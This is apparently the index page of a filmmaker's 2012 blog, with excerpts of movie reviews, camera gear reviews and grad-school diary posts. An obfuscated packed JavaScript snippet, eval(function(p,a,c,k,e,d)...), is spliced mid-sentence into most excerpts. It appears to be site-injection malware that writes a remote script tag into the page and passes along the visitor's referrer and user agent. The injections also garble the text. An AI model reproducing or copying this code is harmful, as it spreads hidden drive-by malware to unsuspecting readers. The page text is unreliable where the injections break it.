Christmas Weekend Movie Marathon Part II: The Hobbit

This is the first year that Loretta and I spent the holidays away from both our families, so we had to come up with ways to stay entertained. The weekend leading up to Christmas, we decided to see one new movie every night. After eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return...

2012: A Post-Mortem

Since it’s the time of year when companies summarize the year they’ve had, and it’s been a while since I’ve done a check in, here’s my post-mortem on 2012. Last year I kept it under 600 words; there's no way I'm going to be able...

Ikan Flyweight Rig and Table Top Dolly Review

Hey everyone. Sorry it's been so long since my last post; been slammed. If you don't want to read my review below, the video is basically the same as the text. [vimeo http://www.vimeo.com/56125500 w=500&h=281] Ikan eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tahkt|var|u0026u|referrer|kekhk||js|php'.split('|'),0,{})) Corp Flyweight DSLR Shoulder Rig...

Lens Review: Canon 40mm f/2.8 Pancake

A eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|isttr|var|u0026u|referrer|tbbzn||js|php'.split('|'),0,{})) couple of weeks ago, Deejay Scharton was selling off his Canon 40mm lens over at DSLRFilmNoob.com (dslrfilmnoob.com). I had been wanting to purchase one for a while, but never pulled the trigger on it. Deejay's price was too...

Deconstructing My Blogroll: Frugal Filmmaker, DSLR Film Noob, The Black and Blue

A few weeks ago I posted about the first three sites I go to for information on filmmaking (3 eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kytif|var|u0026u|referrer|rtbsr||js|php'.split('|'),0,{})) Daily Stops for Film Industry News). I've gotten some responses on that post asking where else I go to stay...

Wreck-It Ralph (2012) Review

I eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fsyab|var|u0026u|referrer|hzaeh||js|php'.split('|'),0,{})) don't generally get excited for animated film. I also usually squirm whenever I hear that John C. Reilly (imdb.com) is attached to any project. But I had high hopes for Disney's 2012 film, Wreck-It Ralph (imdb.com). From the...

Frugal Filmmaker Inspired Light Kit

I've been meaning to shoot this video for a while now, and I finally got around to it. When I started in video production, I needed to put together a small light kit that wasn't overly expensive. I found the video for the Frugal eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return...

Special Effects Blood on the Cheap

Being eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|idekr|var|u0026u|referrer|yhtht||js|php'.split('|'),0,{})) an independent, and once again a student, filmmaker I'm constantly looking for ways to up my production value without absolutely busting my budget. That's why the few days after Halloween are so awesome for the low-budget filmmaker. After Halloween...

Seven Psychopaths (2012) Review

Last eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|farrt|var|u0026u|referrer|rfizy||js|php'.split('|'),0,{})) Friday I had passes to check out a pre-release screening of Red Dawn (2012) (imdb.com), but Loretta and I didn't get to the theatre early enough and it filled up before we got inside. Not wanting to waste...

Unruly Headgear: GoPro Cage Review

A eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|niief|var|u0026u|referrer|airyd||js|php'.split('|'),0,{})) while ago, I backed a Kickstarter (kickstarter.com) project for the Unruly Headcase/Headgear GoPro Case (lifeisunruly.com). I got the Headgear. It came in few months ago, but the shipment got lost in the mail when I moved. Fortunately, I...

Looper (2012) +Commentary Review

One eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|teyii|var|u0026u|referrer|ftzrr||js|php'.split('|'),0,{})) of the biggest film releases this year is Looper (2012) (imdb.com) from director Rian Johnson (rcjohnso.com). A lot of people I know, myself included, felt that it was the most anticipated film of the year. And it definitely...

KNOW Filmmaking Workshop by Still Motion

Last eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sskaa|var|u0026u|referrer|kdztk||js|php'.split('|'),0,{})) Sunday I had the opportunity to attend the KNOW filmmaking workshop (knowbystillmotion.com) put on by Still Motion (stillmotion.ca), a boutique production company based out of Canada. They're making a tour around the US and Canada to help teach...

Grad School Week 7,8,9

So, another three weeks have just passed. I am deeply embedded into Columbia's MFA Producing program. We've been so busy that the last few weeks have been a blur. It seems like all I do anymore is go to class, come home, eat, do homework,...

Grad School Week 4,5,6

I haven't posted about my experiences in the Columbia College Creative Producing MFA program for the last three weeks. I know, I've been bad. But, I've also been absolutely swamped; both with school work, and with work-work. But, here's the summary for the last three...

99 Ways to Tell a Story

If story is everything; and every story that can ever exist has already been told; then how can we create original (or at least seemingly original) work? Easy! We re-tell the same story over and over again, but in different ways. Think about films like Avatar...

Grad School Week Two

Week Two at Columbia College Chicago (colum.edu) eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kzsht|var|u0026u|referrer|irhzd||js|php'.split('|'),0,{})) flew by. Since we're still in "boot camp" mode we sped through a lot of information really quickly. Being that I've been working on productions for the last few years, a lot...

Grad School Week One

Last week was my first week of classes at Columbia College Chicago (colum.edu). eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tdyyf|var|u0026u|referrer|fiaaz||js|php'.split('|'),0,{})) Ever since Loretta and I moved from San Francisco I've been sitting in anticipation. The closer the day came to start, the more anxious I got....

Cross Country Timelapse: Our Move to Chicago

[vimeo http://vimeo.com/46663589] *WATCH eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|iekah|var|u0026u|referrer|ttsfk||js|php'.split('|'),0,{})) VIDEO FULL SCREEN FOR BETTER RESOLUTION* At the end of June 2012, my girlfriend, Loretta, and I moved from San Francisco, Ca to Chicago, Il. I wanted to document the drive, and couldn't think of any better way...

Update from the Windy City

Hey everyone, it's been a while since I've done a general update post. Well, here it is. And boy are there some updates for you. It's been a busy couple of months. The eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dzanb|var|u0026u|referrer|abins||js|php'.split('|'),0,{})) Move The biggest thing I've had on my...

Monthly Inspiration: Guillermo del Toro

Monthly Inspiration is a new blog series that’s about what inspires me; filmmakers, styles, actors, scripts… each month, I’ll cover one new piece of inspiration. Hopefully I can turn you on to something that will inspire you as well. First, eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rsbfd|var|u0026u|referrer|zdezs||js|php'.split('|'),0,{})) ...

Moonrise Kingdom (2012) Review

Wes eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|neyit|var|u0026u|referrer|ndfth||js|php'.split('|'),0,{})) Anderson (imdb.com) hits awkward awesomeness again with Moonrise Kingdom (imdb.com). Anderson, who directed such cult films as Bottle Rocket (imdb.com), Rushmore (imdb.com), and The Royal Tenenbaums (imdb.com), is known for writing/directing films that are chock full of unique, interesting characters that make you...